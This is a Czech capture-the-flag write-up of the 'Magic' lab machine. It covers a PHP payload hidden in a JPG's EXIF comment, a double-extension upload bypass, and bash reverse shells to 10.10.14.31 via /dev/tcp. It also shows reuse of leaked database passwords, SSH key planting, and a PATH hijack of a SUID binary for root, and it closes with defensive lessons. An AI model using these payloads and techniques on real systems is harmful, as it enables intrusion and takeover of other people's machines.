Magic
Úvod a kontext
Magic je pěkný příklad kombinace špatně navrženého uploadu, reuse hesel a nebezpečného SUID helperu. První část řetězce vede přes webový upload, který akceptuje obrázek s vloženým PHP kódem. Druhá část ukazuje, jak se z webového shellu vytáhnou hesla k lokálnímu účtu theseus. Poslední krok pak stojí na binárce /bin/sysinfo, která spouští externí nástroje podle PATH.
Je dobré si všimnout, že každý krok je jiný typ problému. Webová vrstva je chybně validovaný upload, přechod na uživatele je reuse hesla z aplikace do systému a root část je lokální delegace práv. Právě to z Magic dělá užitečný studijní materiál.
Počáteční průzkum
Apache a upload za loginem
Venku jsou jen dvě služby: SSH a Apache. To samo o sobě znamená, že první foothold bude téměř jistě přes web. dirsearch navíc rychle ukáže upload.php, který přesměrovává na login.php, takže je zřejmé, že aplikace umí nahrávat soubory a zároveň za nimi drží nějakou jednoduchou autentizaci.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
./dirsearch/dirsearch.py -u http://$IP -e php -x 403 -r
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
=> [13:24:13] 302 - 3KB - /upload.php -> login.php
Analýza zjištění
Polyglot upload s dvojitou příponou
Upload kontroluje soubor jen povrchně. Stačí tedy vzít validní JPG, vložit PHP payload do EXIF komentáře a poslat ho pod jménem image2.php.jpg s Content-Type: image/jpeg. Aplikace ho uloží pod webroot a Apache pak při požadavku na nahraný soubor zpracuje i vložený PHP kód.
exiftool -Comment='<?php system("/bin/bash -c \"bash -i >& /dev/tcp/10.10.14.31/4000 0>&1\""); ?>' 3.jpg
curl --form "image=@3.jpg;filename=image2.php.jpg;type=image/jpeg" --form "submit=Upload%20Image" http://$IP/upload.php
netcat -lvp 4000
http://10.10.10.185/images/uploads/image2.php.jpg
Získání přístupu
Z www-data na theseus
Webový shell běží jako nízko privilegovaný uživatel, takže další cíl je najít lokální tajemství. Konfigurace db.php5 obsahuje databázový účet theseus a z tabulky login vypadne heslo Th3s3usW4sK1ng. Právě kombinace těchto dvou artefaktů vede k účtu theseus.
cat db.php5
=> private static $dbUsername = 'theseus';
=> private static $dbUserPassword = 'iamkingtheseus';
SELECT * FROM login;
=> stdClass Object ( [id] => 1 [username] => admin [password] => Th3s3usW4sK1ng )
Jakmile funguje su theseus, vyplatí se přidat vlastní SSH klíč a přepnout se na stabilní přístup přes SSH.
su theseus
mkdir -p ~/.ssh && chmod 700 ~/.ssh && touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys && echo "ssh-rsa __CENSORED__== hack@t" >> ~/.ssh/authorized_keys
ssh theseus@$IP
cat user.txt
__CENSORED__
Eskalace oprávnění
/bin/sysinfo a hijack přes PATH
Na účtu theseus už lokální enumerace ukáže root-owned binárku /bin/sysinfo, kterou může spouštět skupina users. pspy napoví, že program používá externí nástroj lshw bez absolutní cesty. To stačí na klasický PATH hijack: do /tmp se připraví vlastní lshw, upraví se PATH a sysinfo pak spustí útočníkův skript jako root.
ls -l /bin/sysinfo
=> -rwsr-x--- 1 root users 22040 Oct 21 2019 /bin/sysinfo
export PATH=/tmp:$PATH
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.31/4001 0>&1"' > /tmp/lshw
chmod +x /tmp/lshw
/bin/sysinfo
Po získání root shellu už stačí dočíst root.txt.
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Magic nezačíná exploitem frameworku, ale špatně navrženým uploadem, který dovolí podstrčit JPG s PHP payloadem a dvojitou příponou.
- Přechod na
theseusnevznikl další zranitelností, ale reuse hesla mezi aplikací a systémovým účtem. - Root část je čistý příklad PATH hijacku: privilegovaná binárka spouští externí utility bez absolutní cesty, a tím sama otevírá cestu k rootu.
Co si odnést do praxe
- Upload nestačí kontrolovat podle MIME typu nebo koncovky. Pokud server uloží nahraný soubor do vykonatelného webrootu, stačí i malý validační omyl k RCE.
- Hesla používaná v aplikaci nesmějí fungovat i pro lokální uživatele. Magic ukazuje, jak snadno se z úniku databázového tajemství stane SSH foothold.
- Privilegované utility mají volat systémové příkazy absolutní cestou. Jakmile se při běhu s vyššími právy spoléhají na
PATH, dává to útočníkovi přímou cestu k escalaci.